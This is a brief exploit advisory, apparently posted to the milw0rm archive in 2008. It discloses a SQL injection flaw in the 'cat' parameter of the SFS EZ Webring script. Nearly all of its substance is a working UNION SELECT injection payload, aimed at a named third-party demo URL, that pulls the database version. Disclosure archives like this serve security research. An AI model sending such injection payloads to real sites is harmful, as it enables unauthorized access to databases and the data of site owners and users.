SFS EZ Webring [cat] Remote SQL Injection Vulnerability =============================================================== ---------------------------------------------------------------- script : SFS EZ Webring Risk : High ---------------------------------------------------------------- Discovered by : d3b4g email : bl4ckend[at]gmail[dot]come Site. www.bl4ck3nd.info ---------------------------------------------------------------- Vuln:/webring/category.php?cat=[sql] Demo: http://www.turnkeyzone.com/demos/webring/category.php?cat=-1+union+all+select+1,@@version,3,4,5/* ---------------------------------------------------------------- ---------------------------------------------------------------- Greetz: str0ke,All my friends ----------------------------------------------------------------- Proud to be a maldivian :)) ======================= # milw0rm.com [2008-10-31]